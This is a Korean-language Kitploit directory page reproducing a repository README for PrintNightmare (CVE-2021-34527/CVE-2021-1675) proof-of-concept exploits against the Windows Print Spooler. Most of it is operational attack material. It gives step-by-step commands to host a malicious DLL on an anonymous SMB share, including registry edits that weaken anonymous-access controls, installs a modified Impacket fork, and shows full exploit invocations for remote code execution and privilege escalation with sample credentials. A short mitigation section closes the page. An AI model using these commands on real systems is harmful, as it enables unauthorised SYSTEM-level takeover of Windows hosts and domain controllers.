Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
PrintNightmare-CVE-2021-34527 — PrintNightmare - Windows 인쇄 스풀러 RCE/LPE 취약점 (CVE-2021-34527, CVE-2021-1675) 개념 증명 익스플로잇 | Kitploit
도구/GitHubGitHub/nemo-wq/printnightmare-cve-2021-34527
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingRed TeamingRemote Access ToolPayload Development
GitHubnemo-wq/printnightmare-cve-2021-34527

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PrintNightmare-CVE-2021-34527

PrintNightmare - Windows 인쇄 스풀러 RCE/LPE 취약점 (CVE-2021-34527, CVE-2021-1675) 개념 증명 익스플로잇

저장소 보기
17541254년 전Kitploit 검토 완료

PrintNightmare - Windows Print Spooler RCE/LPE 취약점 (CVE-2021-34527, CVE-2021-1675)

요약

이것은 인증된 원격 사용자가 인쇄 스풀러 서비스를 실행하는 Windows 시스템에서 SYSTEM 수준 권한을 획득하는 데 사용할 수 있는 원격 코드 실행 취약점입니다. 공격자는 이 접근 권한을 사용하여 새 계정을 만들거나, 프로그램을 설치하거나, 데이터를 보거나 변경하거나 삭제하거나, 모든 사용자 권한을 가진 새 계정을 만들 수 있습니다.

이 취약점은 Windows 시스템의 인쇄 스풀러 서비스 spoolsv.exe의 권한 부여 우회 버그로 인해 발생하며, 인증된 원격 사용자가 RPC 호출 RpcAddPrinterDriver를 사용하여 원격 위치에 있는 드라이버 파일을 지정하여 프린터 드라이버를 설치할 수 있게 합니다. 악의적인 사용자가 이를 악용하면 프린터 드라이버 설치의 일환으로 악성 DLL을 주입하여 이 서비스를 실행하는 Windows 시스템에서 SYSTEM 수준 권한을 획득할 수 있습니다.

Microsoft가 CVE-2021-1675에 대한 업데이트를 출시했지만, 이 업데이트는 NoWarningNoElevationOnInstall 옵션이 구성된 Point and Print를 사용하는 Active Directory 도메인 컨트롤러나 Windows 시스템을 보호하지 않습니다.

이 저장소에는 세 가지 PoC 익스플로잇 구현이 있습니다:

  • CVE-2021-34527 python script by cube0x0
  • SharpPrintNightmare by cube0x0
  • EXP by afwu (Printnightmare)

기술 세부 사항

영향을 받는 시스템

  • 모든 Windows 버전에는 취약한 코드가 포함되어 있으며 2021년 7월 4일 기준으로 취약합니다. 익스플로잇은 Windows Server 2019 및 Windows 10 Pro에서 테스트되었습니다.

개념 증명 익스플로잇

RPC 서비스는 클라이언트 머신이 원격 서버가 다운로드할 프린터 드라이버의 위치를 제공할 수 있도록 허용하므로, 다음 예시 옵션을 사용하여 페이로드를 호스팅하고 익스플로잇 실행 시 경로를 제공할 수 있습니다:

Samba 공유 설정

  • Unix/Linux:

    Samba에서 게스트 액세스를 설정하려면 로그인할 것으로 가장할 사용자를 설정해야 합니다. 시스템에 smbuser 사용자가 있는지 확인하고, 그렇지 않으면 비밀번호 password로 생성하세요.

    root@kitploit:~
    id -u smbuser &>/dev/null || useradd -p $(openssl passwd -1 password) smbuser
    

    /etc/samba/smb.conf를 편집하고 익명 액세스를 활성화하세요.

    root@kitploit:~
    [global]
        map to guest = Bad User
        server role = standalone server
        usershare allow guests = yes
        idmap config * : backend = tdb
        smb ports = 445
    
    [smb]
        comment = Samba
        path = /tmp/
        guest ok = yes
        read only = no
        browsable = yes
        force user = smbuser
    
  • Windows:

    root@kitploit:~
    mkdir C:\share
    icacls C:\share\ /T /grant Anonymous` logon:r
    icacls C:\share\ /T /grant Everyone:r
    New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
    REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
    REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
    # Reboot
    

다음은 cube0x0이 제공한 지침을 약간 업데이트한 것입니다:

CVE-2021-34527 파이썬 스크립트

이는 cube0x0의 Printnightmare 익스플로잇을 Impacket으로 구현한 것입니다. 익스플로잇을 실행하기 전에 수정된 버전의 Impacket을 설치해야 합니다:

root@kitploit:~
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

익스플로잇 사용법:

이 취약점에 대한 익스플로잇 코드는 Python 3을 사용하여 실행해야 합니다.

root@kitploit:~
usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675/34527 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Example;
./CVE-2021-34527.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

SharpPrintNightmare

SharpPrintNightmare/ 디렉터리에는 로컬 권한 상승(LPE)(CVE-2021-1675) 및 원격 코드 실행(RCE)을 위한 Printnightmare 익스플로잇의 C# 구현이 포함되어 있습니다. RCE 기능은 익스플로잇을 실행하는 머신에서 로컬 관리자 권한으로 실행되어야 합니다.

익스플로잇 사용법:

root@kitploit:~
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll

#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'

#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' domain.local domain_username password

EXP/ 사용 지침 (afwu 제공)

익스플로잇 사용법:

root@kitploit:~
.\PrintNightmare.exe dc_ip path_to_exp user_name password

Example:
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123##

완화/우회 방법

인쇄 스풀러 서비스가 실행 중인지 확인

다음을 실행하세요:

root@kitploit:~
Get-Service -Name Spooler

인쇄 스풀러가 실행 중이거나 서비스가 비활성화로 설정되지 않은 경우, 다음 옵션 중 하나를 선택하여 인쇄 스풀러 서비스를 비활성화하거나 그룹 정책을 통해 인바운드 원격 인쇄를 비활성화하세요:

옵션 1 - 인쇄 스풀러 서비스 비활성화

인쇄 스풀러 서비스 비활성화가 기업에 적합한 경우, 다음 PowerShell 명령을 사용하세요( Microsoft 권장 사항):

root@kitploit:~
Stop-Service -Name Spooler -Force

Set-Service -Name Spooler -StartupType Disabled

또는 레지스트리를 사용하여 스풀러 서비스 비활성화

root@kitploit:~
Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f

또는 Print-Services 제거

root@kitploit:~
Uninstall-WindowsFeature Print-Services

이렇게 하면 로컬 및 원격 인쇄 기능이 모두 비활성화됩니다.

옵션 2 - 그룹 정책을 통해 인바운드 원격 인쇄 비활성화

다음과 같이 그룹 정책을 통해 설정을 구성할 수도 있습니다:

root@kitploit:~
Computer Configuration / Administrative Templates / Printers

원격 공격을 차단하려면 “Allow Print Spooler to accept client connections:” 정책을 비활성화하세요.

이 정책은 인바운드 원격 인쇄 작업을 차단하여 원격 공격 벡터를 차단합니다. 시스템은 더 이상 프린트 서버로 작동하지 않지만, 직접 연결된 장치로의 로컬 인쇄는 계속 가능합니다.

자세한 내용은 다음을 참조하세요: 그룹 정책 설정을 사용하여 프린터 제어.

감사의 말

  • MSRC 보안 게시판에 따르면, 이 취약점은 Zhipeng Huo, Piotr Madej 및 Zhang Yunhai가 보고했습니다.
  • cube0x0
  • afwu
도구 다운로드